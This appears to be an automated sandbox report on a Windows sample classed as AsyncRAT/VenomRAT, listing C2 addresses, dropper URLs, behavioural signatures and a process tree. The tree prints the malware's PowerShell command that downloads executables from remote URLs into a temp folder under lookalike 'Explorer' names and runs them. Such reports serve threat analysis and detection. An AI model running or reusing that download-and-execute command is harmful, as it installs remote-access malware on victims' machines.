Overview

overview

10

Static

static

10

d000032653...9a.exe

windows7-x64

10

d000032653...9a.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    144s
  • max time network
    119s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/08/2024, 19:02

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General

  • Target
    d000032653fce6a63cb46dc3d2bd11f3e5b8c7a9bc99e9ecb2d53be94ae9789a.exe
  • Size 75KB
  • Sample240818-xp9p1ssdmn
  • SHA256 d000032653fce6a63cb46dc3d2bd11f3e5b8c7a9bc99e9ecb2d53be94ae9789a
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
asyncratdefaultexecutionrat

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://xcu.exgaming.click

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://xcu5.exgaming.click

Extracted

Family

  • asyncrat

Version

  • Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

  • Default

C2

  • 109.38.143.137:8888

  • 89.99.115.113:8888

  • 192.168.178.69:8888

Mutex

  • zwkzzurhbadjvo

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • VenomRAT 1 IoCs

    Detects VenomRAT.

    rat
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Start PowerShell.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d000032653fce6a63cb46dc3d2bd11f3e5b8c7a9bc99e9ecb2d53be94ae9789a.exe
    "C:\Users\Admin\AppData\Local\Temp\d000032653fce6a63cb46dc3d2bd11f3e5b8c7a9bc99e9ecb2d53be94ae9789a.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4892
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1404
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:712
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5076
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3460
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5020

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
        • MD5 SHA1 SHA512
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 25eb4f899ae8f90b66b9342781456700d1af487f6f302fe5a727328b026f6bdf
        • MD5 SHA1 SHA512
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 5ebacd6ee97e90cd3e6b896ecd9040a9edf00497f4554b7bbf62f7d83a094745
        • MD5 SHA1 SHA512
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 a33f9a0ef79f7dfd3a1a89593877888a3b2ef45db361a3ae1c72a407f719f671
        • MD5 SHA1 SHA512
        Submit Download

        __PSScriptPolicyTest_h55pupkw.a43.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h55pupkw.a43.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512
        Submit Download

        memory/712-9-0x0000011BBE570000-0x0000011BBE592000-memory.dmp
        Download

        memory/712-15-0x00007FFFB9070000-0x00007FFFB9B31000-memory.dmp
        Download

        memory/712-16-0x00007FFFB9070000-0x00007FFFB9B31000-memory.dmp
        Download

        memory/712-19-0x00007FFFB9070000-0x00007FFFB9B31000-memory.dmp
        Download

        memory/712-10-0x00007FFFB9070000-0x00007FFFB9B31000-memory.dmp
        Download

        memory/4892-0-0x00007FFFB9073000-0x00007FFFB9075000-memory.dmp
        Download

        memory/4892-3-0x00007FFFB9070000-0x00007FFFB9B31000-memory.dmp
        Download

        memory/4892-1-0x0000000000460000-0x0000000000478000-memory.dmp
        Download

        memory/4892-54-0x00007FFFB9070000-0x00007FFFB9B31000-memory.dmp
        Download